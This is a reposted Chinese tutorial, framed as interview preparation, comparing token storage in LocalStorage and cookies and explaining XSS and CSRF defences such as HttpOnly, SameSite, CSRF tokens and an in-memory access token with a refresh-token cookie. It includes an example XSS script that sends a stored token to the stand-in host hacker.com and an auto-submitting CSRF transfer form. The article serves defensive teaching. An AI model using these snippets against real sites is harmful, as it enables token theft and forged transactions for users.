转载:Token 放在 LocalStorage 里会被 XSS,那放在 Cookie 里就真的安全吗?
前言🔖
在前端开发中,Token 的存储位置一直是一个备受争议的话题。主要有两种选择:
- LocalStorage:使用方便,但存在安全隐患。
- Cookie:机制复杂,但提供了一些安全属性。
面试中常问的问题是:“LocalStorage 容易受到 XSS 攻击,Cookie 容易受到 CSRF 攻击,那么到底应该如何安全地存储 Token?”
LocalStorage 的安全风险🔖
将 Token 存储在 localStorage 是常见的做法,因为使用简单。
// 存
localStorage.setItem('token', 'eyJhbGciOiJIUz...');
// 取
const token = localStorage.getItem('token');
fetch('/api/data', {
headers: { Authorization: `Bearer ${token}` }
});
然而,localStorage 的设计允许 JavaScript 代码完全访问。这意味着,如果网站存在 XSS(跨站脚本攻击)漏洞,攻击者可以通过注入恶意脚本直接读取 Token。
XSS 攻击示例:如果页面未对用户输入进行过滤,攻击者可能注入以下脚本:
<script>
// 攻击者脚本
fetch('http://hacker.com/steal?cookie=' + localStorage.getItem('token'));
</script>
只要用户访问了包含恶意脚本的页面,Token 就会被发送到攻击者的服务器。由于 JS 对 LocalStorage 拥有完全读写权限,且没有类似于 Cookie 的访问控制机制,因此这种存储方式在 XSS 面前非常脆弱。
Cookie 的安全机制🔖
很多人认为 Cookie 不安全,这通常是因为配置不当。 Cookie 有一个关键的安全属性:HttpOnly。
当 Cookie 设置了 HttpOnly 属性后:
- 禁止 JS 读取:
document.cookie无法获取该 Cookie。 - 自动发送:浏览器在发起请求时会自动携带该 Cookie。
后端设置 HttpOnly Cookie (Go 示例):
http.SetCookie(w, &http.Cookie{
Name: "access_token",
Value: "eyJhbGciOiJIUz...",
HttpOnly: true, // 禁止 JavaScript 读取
Secure: true, // 仅通过 HTTPS 传输
Path: "/",
})
在这种配置下,即使网站存在 XSS 漏洞,攻击者的脚本也无法读取 Token。虽然攻击者可能通过脚本发起请求(因为浏览器会自动带上 Cookie),但他无法直接获取 Token 字符串,从而无法将其用于其他用途。
Cookie 的 CSRF 风险🔖
使用 HttpOnly Cookie 虽然防范了 XSS 读取 Token,但引入了 CSRF (跨站请求伪造) 风险。
CSRF 攻击原理:浏览器会自动在请求中携带 Cookie,无论该请求是由用户在当前网站发起的,还是由第三方恶意网站发起的。
场景模拟:
- 用户登录了
bank.com,Token 存储在 Cookie 中。 - 用户访问了恶意网站
hacker.com。 - 恶意网站包含以下代码:
<!-- 恶意网站上的代码 -->
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>
- 浏览器向
bank.com发送请求时,会自动附带用户的 Cookie。 bank.com服务器接收到请求,验证 Cookie 有效,执行了转账操作。
这就是 CSRF 攻击的核心:利用浏览器的自动携带 Cookie 机制,冒充用户发起请求。
最佳实践方案🔖
为了同时防范 XSS 和 CSRF,可以采取以下组合方案。
🔹方案一:Cookie (HttpOnly) + SameSite + CSRF Token
这是传统的防御方式。
- HttpOnly:防止 XSS 攻击读取 Token。
- SameSite=Strict/Lax:限制第三方网站发起的请求携带 Cookie。
- CSRF Token:前端在请求 Header 中携带一个自定义的 Token(如
X-CSRF-Token)。由于 CSRF 攻击无法构造自定义 Header(受同源策略限制),这提供了额外的保护。
// Go 设置 SameSite
http.SetCookie(w, &http.Cookie{
Name: "token",
Value: "...",
HttpOnly: true,
SameSite: http.SameSiteLaxMode, // 限制跨站发送
})
🔹方案二:Refresh Token (Cookie) + Access Token (内存)
这是现代单页应用(SPA)推荐的方案:
- Refresh Token 存储在 HttpOnly Cookie 中(设置较长过期时间)。
- Access Token 存储在 内存变量 中(JavaScript 变量)。
工作流程:
- 登录成功后,后端设置
refresh_token到 HttpOnly Cookie。 - 后端返回
access_token在 JSON 响应体中。 - 前端将
access_token保存在变量中。 - 发起请求时,使用变量中的
access_token设置 Authorization Header。 - 当
access_token过期或页面刷新(导致内存变量丢失)时,前端调用/refresh接口。- 浏览器自动携带 Cookie 中的
refresh_token。 - 后端验证通过,返回新的
access_token。
- 浏览器自动携带 Cookie 中的
方案优势:
- 防 XSS:
refresh_token无法被 JS 读取(HttpOnly)。access_token虽然在内存中可能被读取,但其生命周期短,且攻击者必须在当前页面会话中才能获取。 - 防 CSRF:
access_token通过 Authorization Header 发送,浏览器不会自动携带,天然免疫 CSRF。
总结🔖
| 存储方式 | XSS 风险 | CSRF 风险 | 推荐程度 | 适用场景 |
|---|---|---|---|---|
| LocalStorage | 高 (直接读取) | 无 (需手动发送) | 低 | 非敏感数据 |
| 普通 Cookie | 高 (可被读取) | 有 (自动发送) | 不推荐 | 无 |
| HttpOnly Cookie | 低 (不可读取) | 有 (自动发送) | 中 | 服务端渲染 (SSR) |
| HttpOnly Cookie + SameSite | 低 | 低 | 高 | 大部分 Web 应用 |
| 内存(Access) + Cookie(Refresh) | 最低 | 最低 | 极高 | 前后端分离应用 |
面试回答建议🔖
在回答此问题时,应重点阐述以下观点:
- LocalStorage 的缺陷:由于缺乏访问控制,完全暴露给 JavaScript,存在无法避免的 XSS 风险。
- Cookie 的特性:虽然有 CSRF 风险,但可以通过
HttpOnly防止 XSS,通过SameSite和 CSRF Token 防止 CSRF。 - 结论:在涉及敏感数据的场景下,HttpOnly Cookie 配合适当的 CSRF 防御措施,或者采用 Refresh Token (Cookie) + Access Token (内存) 的模式,是更安全、更为专业的选择。